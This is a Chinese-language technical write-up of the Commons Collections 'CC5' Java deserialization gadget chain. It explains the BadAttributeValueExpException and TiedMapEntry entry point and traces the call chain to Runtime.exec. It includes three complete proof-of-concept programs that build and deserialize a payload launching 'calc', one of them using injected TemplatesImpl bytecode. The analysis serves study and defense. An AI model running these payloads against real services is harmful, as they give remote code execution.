0x01 前言
CC5跟CC1很相似,都是通过触发LazyMap的get方法来触发链式调用,与CC1通过动态代理和AnnotationInvocationHandler作为入口不同,CC5用到了TiedMapEntry类和BadAttributeValueExpException作为入口。
由于入口点的改变,利用条件不同:jdk无限制,commons-collections 3.2.1及之前,commons-collections4.0,其中4.0 利用链中LazyMap的decorate方法需要改为lazyMap方法。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<!-- <dependency>-->
<!-- <groupId>commons-collections</groupId>-->
<!-- <artifactId>commons-collections</artifactId>-->
<!-- <version>3.2.1</version>-->
<!-- </dependency>-->
0x02 相关知识
TiedMapEntry
其构造方法如图,传入一个Map对象和一个key
需要注意的是该类的toString方法,在getValue方法中调用了map的get方法,从而触发装饰器回调transform
BadAttributeValueExpException
在该类的readObject中,存在valObj.toString方法,如果我们的valObj为TiedMapEntry对象,则可以触发其toString方法进而触发LazyMap#get方法。
0x03 利用链分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(bad);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
首先看第一部分,将ChainedTransformer方法作为LazyMap的装饰器,这一部分与CC1完全一致。
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
第二部分就是一句话,将LazyMap用TiedMapEntry进行封装,传入的key值一定是LazyMap里不存在的,因为LazyMap只有get不到key才会触发transform回调。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
最后一部分则是创建一个BadAttributeValueExpException对象,并通过反射更改它的val字段为tiedmap对象。这里有一个问题,为什么要通过反射去更改它的val字段而不是直接在创建该类的时候将tiedmap作为参数传入呢?
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedmap);
我们看BadAttributeValueExpException的构造函数,如果我们直接将tiedmap当做参数传入,它会在创建的时候直接触发调用链,而且这之后的val属性不再是TiedMapEntry对象而是ProcessImpl了,该类继承Process类,而Process类并未实现Serializable接口,无法被序列化,虽然这里即使能序列化也没有什么用。
利用链:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 利用链调试
BadAttributeValueExpException#readObject,这里有个问题,为什么代码会进入这个else if?因为System.getSecurityManager方法返回为null。这里是获取Java安全管理器,一般来说Java程序启动时并不会自动启动安全管理器,默认关闭。可以在启动命令中添加-Djava.security.manager参数启用安全管理器,也可以实例化一个java.lang.SecurityManager或继承它的子类的对象,然后通过System.setSecurityManager()来设置并启动一个安全管理器。
TiedMapEntry#toString
TiedMapEntry#getValue
LazyMap#get
ChainedTransformer#transform
0x05 总结
CC5发现了一个新的入口点BadAttributeValueExpException,其与TiedMapEntry和LazyMap结合触发链式调用。因此CC5前部分也可以进行一些更改,可以使用TemplatesImpl类作为sink,使用invokerTransformer或者TrAXFilter-InstantiateTransformer作为中继。invokerTransformer尝试后发现并不行,invokerTransformer触发transform时需要传入参数,而CC5是LazyMap#get触发。真试了试,发现确实可以,只需要做一点点改变。
使用TrAXFilter-InstantiateTransformer的POC如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool= ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections5");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chain=new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(bad);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
使用invokerTransformer的需要注意的是图中语句,将templatesImpl对象作为key传入,在LazyMap#get方法会将TemplatesImpl类型的key作为InvokerTransformer的参数传入,也就能调用TemplatesImpl#newTransformer方法,触发利用链。
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool= ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections5");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templatesImpl);
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(bad);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
最后再做一个小总结,目前来看,CC1,CC3的入口类都是AnnotationInvocationHandler,因此受到jdk的限制,都需要在jdk8u71之前,对Commons Collections版本是3.2.2之前和4.0。CC2、CC4使用的入口类都是PriorityQueue,而该类4.0版本才存在,所以CC2、CC4对jdk版本没有要求,但对CC版本有要求,只能为4.0。CC5则用了一个新的入口类,BadAttributeValueExpException对jdk无要求,而Commons Collections版本是3.2.2之前和4.0。